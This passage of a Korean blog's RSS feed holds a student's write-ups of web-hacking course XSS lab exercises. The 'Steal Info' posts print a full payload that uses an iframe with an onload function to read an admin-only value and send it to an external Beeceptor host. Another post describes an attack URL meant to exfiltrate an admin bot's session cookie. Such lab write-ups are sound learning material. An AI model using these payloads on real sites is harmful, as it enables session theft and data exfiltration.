data-origin-height=&quot;284&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이렇게 작성하고 이 게시글을 클릭해서 그 링크를 관리자 봇에게 전달해주면 된다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f6f8fa; padding: 15px; border-radius: 5px; font-family: monospace;&quot;&gt;&lt;b&gt;최종 페이로드 예시:&lt;/b&gt;&lt;br /&gt;&amp;lt;iframe id=&quot;TF&quot; src=&quot;/mypage_info&quot; onload=&quot;AT()&quot;&amp;gt;&amp;lt;/iframe&amp;gt;&lt;br /&gt;&amp;lt;script&amp;gt;&lt;br /&gt;function AT() {&lt;br /&gt;&amp;nbsp;&amp;nbsp;var secret = document.getElementById('TF').contentDocument.getElementsByName('info')[0].placeholder;&lt;br /&gt;&amp;nbsp;&amp;nbsp;new Image().src = &quot;https://[내-Beeceptor-주소]/?flag=&quot; + secret;&lt;br /&gt;}&lt;br /&gt;&amp;lt;/script&amp;gt;&lt;/div&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;3. 최종 결과&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문법 오류도 없이 한방에 클리어&amp;hellip; 개나이스&amp;hellip;. 하다&amp;hellip;.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;806&quot; data-origin-height=&quot;266&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bv7TV1/dJMcajniEyn/6cZVD6n1exdpC3CwxEjju0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bv7TV1/dJMcajniEyn/6cZVD6n1exdpC3CwxEjju0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bv7TV1/dJMcajniEyn/6cZVD6n1exdpC3CwxEjju0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbv7TV1%2FdJMcajniEyn%2F6cZVD6n1exdpC3CwxEjju0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;806&quot; height=&quot;266&quot; data-origin-width=&quot;806&quot; data-origin-height=&quot;266&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;  마무리하며&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여기까지 해서 XSS 문제 풀이는 마무리하고 다음 번에는 XSRF 개념 설명 및 문제 풀이 정리를 해보겠음!!! 뿌듯!&lt;/p&gt;</description>
      <category>해킹스터디</category>
      <category>DOM-based XSS</category>
      <category>function</category>
      <category>iframe</category>
      <category>Normaltic</category>
      <category>onload</category>
      <category>XSS</category>
      <category>금보원</category>
      <category>노말틱</category>
      <category>크사</category>
      <category>해린이</category>
      <author>herini0829</author>
      <guid isPermaLink="true">https://herini0829.tistory.com/30</guid>
      <comments>https://herini0829.tistory.com/30#entry30comment</comments>
      <pubDate>Fri, 2 Jan 2026 15:19:56 +0900</pubDate>
    </item>
    <item>
      <title>[Normaltic 웹해킹 입문] 10주차 문제풀이 Steal info 1.</title>
      <link>https://herini0829.tistory.com/29</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt; ️ Steal Info 1 문제 풀이: iframe과 비동기 처리를 이용한 정보 탈취&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Steal info 1번 문제를 풀어보자. 우선 XSS 공격 포인트부터 찾아야 한다. 지금까지 열심히 찾았으니 더 이상의 찾는 법은 생략하고, 본문에 스크립트를 쓰면 바로 실행되는 구조임을 확인했다.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;1. 공격 전략: 관리자 전용 페이지 노리기&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문제의 의도가 똑같은 형식의 페이지를 일반 사용자용과 관리자용으로 나눠놓은 것이므로, 똑같은 페이지에서 중요 정보를 탈취하는 URL을 만들어 관리자 봇에게 던지면 될 것 같다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;675&quot; data-origin-height=&quot;137&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cb3Iu6/dJMcad1GNjJ/2RIFfgRJSd0sGJUCcm7a8K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cb3Iu6/dJMcad1GNjJ/2RIFfgRJSd0sGJUCcm7a8K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cb3Iu6/dJMcad1GNjJ/2RIFfgRJSd0sGJUCcm7a8K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcb3Iu6%2FdJMcad1GNjJ%2F2RIFfgRJSd0sGJUCcm7a8K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;675&quot; height=&quot;137&quot; data-origin-width=&quot;675&quot; data-origin-height=&quot;137&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;553&quot; data-origin-height=&quot;214&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/KBlpq/dJMcahQB35a/jlu5NwYt1E0kAOQtOJKnLK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/KBlpq/dJMcahQB35a/jlu5NwYt1E0kAOQtOJKnLK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/KBlpq/dJMcahQB35a/jlu5NwYt1E0kAOQtOJKnLK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FKBlpq%2FdJMcahQB35a%2Fjlu5NwYt1E0kAOQtOJKnLK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;553&quot; height=&quot;214&quot; data-origin-width=&quot;553&quot; data-origin-height=&quot;214&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;459&quot; data-origin-height=&quot;500&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bcWA6N/dJMcaiWfBUl/XKpXoSvFKrPKsboQZJTfa0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bcWA6N/dJMcaiWfBUl/XKpXoSvFKrPKsboQZJTfa0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bcWA6N/dJMcaiWfBUl/XKpXoSvFKrPKsboQZJTfa0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbcWA6N%2FdJMcaiWfBUl%2FXKpXoSvFKrPKsboQZJTfa0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;459&quot; height=&quot;500&quot; data-origin-width=&quot;459&quot; data-origin-height=&quot;500&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;2. iframe을 이용한 데이터 접근&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 페이지를 XSS가 가능한 곳에 불러와서 데이터를 서버로 보내도록 해야 하는데, 이때 &lt;b&gt;iframe&lt;/b&gt;이 필요하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;내용을 설명하자면 iframe은 게시판 내에 새로운 HTML을 가져와서 띄우는 역할이고, 그 iframe의 id를 &lt;b&gt;TF(target frame)&lt;/b&gt;로 지정한 것이다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;940&quot; data-origin-height=&quot;445&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/66ubF/dJMcabv5S2F/25YtrKQ1Ikt4tR7DRTmf60/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/66ubF/dJMcabv5S2F/25YtrKQ1Ikt4tR7DRTmf60/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/66ubF/dJMcabv5S2F/25YtrKQ1Ikt4tR7DRTmf60/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F66ubF%2FdJMcabv5S2F%2F25YtrKQ1Ikt4tR7DRTmf60%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;940&quot; height=&quot;445&quot; data-origin-width=&quot;940&quot; data-origin-height=&quot;445&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;940&quot; data-origin-height=&quot;373&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dBUttq/dJMcahC4yjW/xUACMpni8Bqo5TMK197OY0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dBUttq/dJMcahC4yjW/xUACMpni8Bqo5TMK197OY0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dBUttq/dJMcahC4yjW/xUACMpni8Bqo5TMK197OY0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdBUttq%2FdJMcahC4yjW%2FxUACMpni8Bqo5TMK197OY0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;940&quot; height=&quot;373&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;940&quot; data-origin-height=&quot;373&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;✅ 핵심 포인트: onload와 비동기 특성&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;onload=&quot;AT()&quot;&lt;/code&gt;는 이 iframe 로드가 끝난 뒤에 &lt;code&gt;AT()&lt;/code&gt;라는 함수를 실행하라는 뜻이고, 그 뒤에 &lt;code&gt;function AT(){}&lt;/code&gt;는 그 함수를 정의해주는 과정이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;이렇게 하는 이유는 자바스크립트의 비동기적 특성 때문인데,&lt;/b&gt; iframe의 로딩이 완료되지 않은 상태에서 바로 뒤의 스크립트가 실행되면 제대로 내용을 못 받아오는 경우가 있기 때문이다.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;3. 공격 실행 및 성공&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;직접 클릭해 보면 관리자 로그인 상태가 아니라서 '권한 없음'이 뜨지만, 이 게시글 링크를 복사해서 관리자 봇에게 접속하게 시키면 성공적으로 정보가 넘어온다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;666&quot; data-origin-height=&quot;273&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b7DDbB/dJMcahwjoJ7/LvBpwiTPzFmAEcd51nfyHK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b7DDbB/dJMcahwjoJ7/LvBpwiTPzFmAEcd51nfyHK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b7DDbB/dJMcahwjoJ7/LvBpwiTPzFmAEcd51nfyHK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb7DDbB%2FdJMcahwjoJ7%2FLvBpwiTPzFmAEcd51nfyHK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;666&quot; height=&quot;273&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;666&quot; data-origin-height=&quot;273&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;541&quot; data-origin-height=&quot;288&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/CBXYE/dJMcaaDXhSQ/0jcUqpQ6DU8frHAtWYYQt1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/CBXYE/dJMcaaDXhSQ/0jcUqpQ6DU8frHAtWYYQt1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/CBXYE/dJMcaaDXhSQ/0jcUqpQ6DU8frHAtWYYQt1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FCBXYE%2FdJMcaaDXhSQ%2F0jcUqpQ6DU8frHAtWYYQt1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;541&quot; height=&quot;288&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;541&quot; data-origin-height=&quot;288&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;940&quot; data-origin-height=&quot;223&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/mVZc0/dJMcaaKIvWe/kGvQpKSFSmPM0XoISugfLK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/mVZc0/dJMcaaKIvWe/kGvQpKSFSmPM0XoISugfLK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/mVZc0/dJMcaaKIvWe/kGvQpKSFSmPM0XoISugfLK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FmVZc0%2FdJMcaaKIvWe%2FkGvQpKSFSmPM0XoISugfLK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;940&quot; height=&quot;223&quot; data-origin-width=&quot;940&quot; data-origin-height=&quot;223&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;  노말틱 센세의 풀이와 내 풀이 비교&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;536&quot; data-origin-height=&quot;383&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/PLl0w/dJMcahXo6Uw/7qKkkJfd2VvrMjXnAiZZN0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/PLl0w/dJMcahXo6Uw/7qKkkJfd2VvrMjXnAiZZN0/img.png&quot; data-alt=&quot;노말틱님의 풀이&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/PLl0w/dJMcahXo6Uw/7qKkkJfd2VvrMjXnAiZZN0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FPLl0w%2FdJMcahXo6Uw%2F7qKkkJfd2VvrMjXnAiZZN0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;536&quot; height=&quot;383&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;536&quot; data-origin-height=&quot;383&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;노말틱님의 풀이&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;나중에 노말틱 센세가 풀이해주시는 걸 봤는데 나랑은 조금 다르게 푸셨다. 결과적으로는 같은 내용이지만, 센세는 변수를 따로 정의해서 &lt;code&gt;innerHTML&lt;/code&gt;로 데이터를 가져오셨고 나는 &lt;code&gt;childNodes[0].data&lt;/code&gt;를 사용했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;❓ childNodes[0].data vs innerHTML, 무슨 차이가 있을까?&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;내가 궁금해서 찾아보니 차이점은 명확했다. &lt;code&gt;childNodes[0].data&lt;/code&gt;는 해당 태그 안의 첫 번째 '텍스트 노드'만 정확히 집어서 가져오는 방식이고, &lt;code&gt;innerHTML&lt;/code&gt;은 태그 내의 모든 HTML 요소를 통째로 긁어오는 방식이다. 이번 문제처럼 텍스트만 있는 경우에는 결과가 같지만, 상황에 따라 더 정교하게 데이터를 뽑고 싶을 땐 내 방식도 의미가 있는 것 같다.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;  소감&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;단순히 정보를 훔치는 것을 넘어, 자바스크립트가 실행되는 타이밍(비동기)의 중요성을 배울 수 있었다. 특히 내가 짠 코드와 노말틱 센세의 코드를 비교해 보면서 객체에 접근하는 다양한 방법을 익힌 것이 큰 수확이었다.  &lt;/p&gt;</description>
      <category>해킹스터디</category>
      <category>DOM-based XSS</category>
      <category>iframe</category>
      <category>Normaltic</category>
      <category>steal info</category>
      <category>XSS</category>
      <category>금보원</category>
      <category>노말틱</category>
      <category>웹해킹</category>
      <category>자바스크립트 비동기</category>
      <category>크사</category>
      <author>herini0829</author>
      <guid isPermaLink="true">https://herini0829.tistory.com/29</guid>
      <comments>https://herini0829.tistory.com/29#entry29comment</comments>
      <pubDate>Fri, 2 Jan 2026 15:00:04 +0900</pubDate>
    </item>
    <item>
      <title>[Normaltic 웹해킹 입문] 10주차 문제풀이 Basic script Prac</title>
      <link>https://herini0829.tistory.com/28</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt; ️ Basic Script Prac 문제 풀이: DOM-based XSS와 브라우저 렌더링의 이해&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이번 문제는 'Basic Script Prac'이라는 이름답게, 특정 페이지 내에서 자바스크립트가 실행되는 구조를 파악하고 이를 이용해 데이터를 탈취하는 전형적인 DOM-based XSS 실습이었다. 문제에서 포인트가 어디인지 미리 알려주었기에, 원리를 파악하는 데 집중해 보았다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;472&quot; data-origin-height=&quot;384&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cqsjaj/dJMcaaYf4vn/Ls5qkiIwYgISAEjkX8K5Hk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cqsjaj/dJMcaaYf4vn/Ls5qkiIwYgISAEjkX8K5Hk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cqsjaj/dJMcaaYf4vn/Ls5qkiIwYgISAEjkX8K5Hk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcqsjaj%2FdJMcaaYf4vn%2FLs5qkiIwYgISAEjkX8K5Hk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;472&quot; height=&quot;384&quot; data-origin-width=&quot;472&quot; data-origin-height=&quot;384&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;1. 취약점 지점 확인: 마이페이지의 Input 태그&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;알려준 대로 마이페이지(MYPAGE)의 XSS URL을 확인해 보니, &lt;code&gt;input&lt;/code&gt; 태그 내에서 내가 입력한 파라미터가 반환되는 것을 볼 수 있었다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;589&quot; data-origin-height=&quot;86&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bpIKip/dJMcabiyO8h/4dH7q4IvImkYEDBaWufP4K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bpIKip/dJMcabiyO8h/4dH7q4IvImkYEDBaWufP4K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bpIKip/dJMcabiyO8h/4dH7q4IvImkYEDBaWufP4K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbpIKip%2FdJMcabiyO8h%2F4dH7q4IvImkYEDBaWufP4K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;589&quot; height=&quot;86&quot; data-origin-width=&quot;589&quot; data-origin-height=&quot;86&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이곳은 &lt;code&gt;input&lt;/code&gt; 태그의 속성값으로 데이터가 들어가기 때문에, 굳이 &lt;code&gt;&amp;lt;&lt;/code&gt;나 &lt;code&gt;&amp;gt;&lt;/code&gt; 같은 꺽쇠가 없어도 싱글 쿼터(&lt;code&gt;'&lt;/code&gt;)나 더블 쿼터(&lt;code&gt;&quot;&lt;/code&gt;)만으로 충분히 속성을 탈출하고 이벤트 핸들러를 주입할 수 있는 구조였다.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;2. 페이로드 분석: DOM 객체 조작하기&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이번 실습에서 사용된 핵심 코드는 &lt;code&gt;document.getElementsByName('info')[0].placeholder&lt;/code&gt;를 활용하는 방식이었다. 소스 보기를 통해 얻어낸 정보를 바탕으로 코드를 해석해 보면 다음과 같다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;702&quot; data-origin-height=&quot;130&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/CgUEY/dJMcaiWfvDC/mYMhs0JIbqbOvKkFNATbk1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/CgUEY/dJMcaiWfvDC/mYMhs0JIbqbOvKkFNATbk1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/CgUEY/dJMcaiWfvDC/mYMhs0JIbqbOvKkFNATbk1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FCgUEY%2FdJMcaiWfvDC%2FmYMhs0JIbqbOvKkFNATbk1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;702&quot; height=&quot;130&quot; data-origin-width=&quot;702&quot; data-origin-height=&quot;130&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;code&gt;document.getElementsByName('info')&lt;/code&gt;: HTML 내에서 &lt;code&gt;name&lt;/code&gt; 속성이 'info'인 모든 요소들을 리스트 형태로 가져온다.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;[0]&lt;/code&gt;: 그 리스트 중 가장 첫 번째 요소를 선택한다.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;.placeholder&lt;/code&gt;: 해당 요소의 &lt;code&gt;placeholder&lt;/code&gt; 속성값에 접근한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 정보를 바탕으로, 관리자 봇이 내 링크를 클릭했을 때 자신의 세션 쿠키를 내 서버로 쏘게 만드는 GET 방식의 공격 URL을 완성했다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;923&quot; data-origin-height=&quot;105&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/PXUnR/dJMcacIxUwp/13QJKwY3teu3pBaKAeCEK1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/PXUnR/dJMcacIxUwp/13QJKwY3teu3pBaKAeCEK1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/PXUnR/dJMcacIxUwp/13QJKwY3teu3pBaKAeCEK1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FPXUnR%2FdJMcacIxUwp%2F13QJKwY3teu3pBaKAeCEK1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;923&quot; height=&quot;105&quot; data-origin-width=&quot;923&quot; data-origin-height=&quot;105&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
